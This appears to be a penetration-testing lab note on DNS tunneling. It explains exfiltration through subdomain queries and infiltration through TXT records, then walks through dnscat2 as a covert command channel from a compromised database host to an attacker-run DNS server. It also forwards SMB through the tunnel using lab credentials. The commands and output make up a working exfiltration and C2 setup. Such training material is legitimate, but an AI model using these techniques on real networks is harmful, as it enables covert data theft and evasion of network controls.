DNS Tunneling

Data Exfil Theory

Domain Name System (DNS) is a protocol used to translate human-readable domain names into IP addresses, which are necessary for routing internet traffic. Because DNS traffic is typically allowed through firewalls, attackers can abuse it to tunnel data in and out of restricted networks. When a client requests the IP address for a domain like www.example.com, it typically contacts a recursive resolver. The resolver queries, typically via UDP port 53, a hierarchy of DNS servers in this order:

Root name server: Directs the resolver to the appropriate Top-Level Domain (TLD) name server based on the domain suffix (e.g., .com).
Top Level Domain (TLD) name server: Refers the resolver to the authoritative name server for the specific domain.
Authoritative name server: Holds the actual DNS records and returns the requested IP address via an A record.

In our scenario:

FELINEAUTHORITY is positoned in the WAN alongside our Kali host and acts as the authoritative name server for the feline.corp zone.
MULTISERVER03, CONFLUENCE01, and Kali can route to it, but PGDATABASE01 and HRSHARES cannot.
PGDATABASE01 uses MULTISERVER03 as its DNS resolver.

When PGDATABASE01 sends a DNS query for exfiltrated-data.feline.corp, it forwards the request to MULTISERVER03, which then forwards it to FELINEAUTHORITY since it’s authoritative for the zone. The dnsmasq service running on FELINEAUTHORITY responds to the query with NXDOMAIN (request failed) since it is not configured to respond for this specific URL (it does not have an A record for it).

# the DNS configuration on FELINEAUTHORITY 
kali@felineauthority:~/dns_tunneling$ cat dnsmasq.conf
# Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=feline.corp
auth-server=feline.corp

# PGDATABASE01 querying about the URL and the response received from the Authoritative Name Server (FELINEAUTHORITY)
database_admin@pgdatabase01:~$ nslookup exfiltrated-data.feline.corp
Server:		127.0.0.53
Address:	127.0.0.53#53

** server can't find exfiltrated-data.feline.corp: NXDOMAIN

# the Authoritative Name Server logs (FELINEAUTHORITY)
kali@felineauthority:~$ sudo tcpdump -i ens192 udp port 53 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), snapshot length 262144 bytes
04:57:40.721682 IP 192.168.50.64.65122 > 192.168.118.4.domain: 26234+ [1au] A? exfiltrated-data.feline.corp. (57)
04:57:40.721786 IP 192.168.118.4.domain > 192.168.50.64.65122: 26234 NXDomain 0/0/1 (57)

In the above scenario, an arbitrary DNS query from an internal host with no other outbound connectivity (PGDATABASE01) has found its way to an external server we control (FELINEAUTHORITY). This makes DNS a potential covert channel for exfiltration. Data can be split into chunks, converted to a safe format like hexadecimal or Base64, and sent via the subdomain part of DNS queries (e.g.,chunk1 on chunk1.feline.corp). The authoritative server logs these and reconstructs the data.

Data Infil Theory

Conversely, arbitrary data can be infiltrated using DNS TXT records, a DNS record type designed to carry arbitrary string data. Configuring dnsmasq to serve TXT records allows a remote client to query for them using tools like nslookup, receiving back the configured string values. This can be expanded to deliver encoded files or commands into isolated networks.

# the DNS configuration on FELINEAUTORITY
kali@felineauthority:~/dns_tunneling$ cat dnsmasq_txt.conf
# Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=feline.corp
auth-server=feline.corp

# TXT record
txt-record=www.feline.corp,here's something useful!
txt-record=www.feline.corp,here's something else less useful.

# PGDATABASE01 queries the TXT records of the feline.corp domain
database_admin@pgdatabase01:~$ nslookup -type=txt www.feline.corp
Server:		192.168.50.64
Address:	192.168.50.64#53

Non-authoritative answer:
www.feline.corp	text = "here's something useful!"
www.feline.corp	text = "here's something else less useful."

Authoritative answers can be found from:

This bidirectional data exchange capability via DNS underpins techniques like DNS tunneling, where tools (e.g., dnscat2) encode traffic into DNS queries and responses to bypass typical network restrictions.

dnscat2

dnscat2 is a tool for creating a covert command-and-control (C2) channel using DNS queries and responses. It can exfiltrate data by embedding it in DNS subdomain queries and receive data through DNS record types like TXT, CNAME, and MX.

A typical setup involves running a dnscat2 server on an authoritative DNS server for a chosen domain, and a dnscat2 client on a compromised host configured to query that domain. This forms a tunnel through standard DNS traffic, often overlooked by firewalls.

# start the dnscat2 server on the authoritative name server
kali@felineauthority:~$ dnscat2-server feline.corp

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = feline.corp]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0adfe7049681d1c76d66ea8f6a0c83d1 feline.corp

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0adfe7049681d1c76d66ea8f6a0c83d1

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

On the target host, the dnscat2 client binary is executed, pointing to the attacker's domain. The client and server then negotiate an encrypted session, displaying a unique authentication phrase on both ends to confirm connection integrity. This ensures no man-in-the-middle tampering has occurred during tunnel establishment.

# start dnscat client on the compromised host
database_admin@pgdatabase01:~/dnscat$ ./dnscat feline.corp
./dnscat feline.corp
Creating DNS driver:
 domain = feline.corp
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 127.0.0.53

Encrypted session established! For added security, please verify the server also displays this string:

Polite Fifty Sophic Otto Tried Wages

Session established!

On the server-side we can see that a new window is created.

kali@felineauthority:~$ dnscat2-server feline.corp
...
New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Polite Fifty Sophic Otto Tried Wages

Captured traffic shows a high volume of DNS queries and responses using CNAME, TXT, and MX record types, revealing the tunneling activity. Although encrypted, the sheer number of queries makes this technique noisy and detectable with proper monitoring tools. Once the tunnel is active, interaction with the remote client is handled through dnscat2’s command sessions.

kali@felineauthority:~$ dnscat2-server feline.corp
...
# list all active windows
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = feline.corp [*]
  1 :: command (pgdatabase01) [encrypted, NOT verified] [*]
# access the specified session
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Polite Fifty Sophic Otto Tried Wages
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
# list available commands
command (pgdatabase01) 1> ?

Here is a list of commands (use -h on any of them for additional help):
* clear
* delay
* download
* echo
* exec
* help
* listen
* ping
* quit
* set
* shell
* shutdown
* suspend
* tunnels
* unset
* upload
* window
* windows#

The listen command sets up a local port on the attacker’s system, forwarding TCP traffic through the DNS tunnel to a specified remote host and port, similar to SSH's -L option.

command (pgdatabase01) 1> listen --help
Error: The user requested help
Listens on a local port and sends the connection out the other side (like ssh
	-L). Usage: listen [<lhost>:]<lport> <rhost>:<rport>
  --help, -h:   Show this message

For example, forwarding local port 4455 to port 445 (SMB) on an internal server allows the attacker to access SMB shares through the tunnel. Standard SMB commands, such as smbclient, can then connect through the forwarded port, albeit with slower response times due to the overhead of encapsulating TCP traffic inside DNS queries and responses transported over UDP.

command (pgdatabase01) 1> listen 127.0.0.1:4455 172.16.2.11:445
Listening on 127.0.0.1:4455, sending connections to 172.16.2.11:445

# from FELINEAUTORITY
kali@felineauthority:~$ smbclient -p 4455 -L //127.0.0.1 -U hr_admin --password=Welcome1234

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
    	scripts         Disk
        Users           Disk

PreviousHTTP Tunneling NextNetworking 101

Last updated 8 months ago

Was this helpful?

hashtagData Exfil Theory

hashtagData Infil Theory

hashtagdnscat2

Data Exfil Theory

Data Infil Theory

dnscat2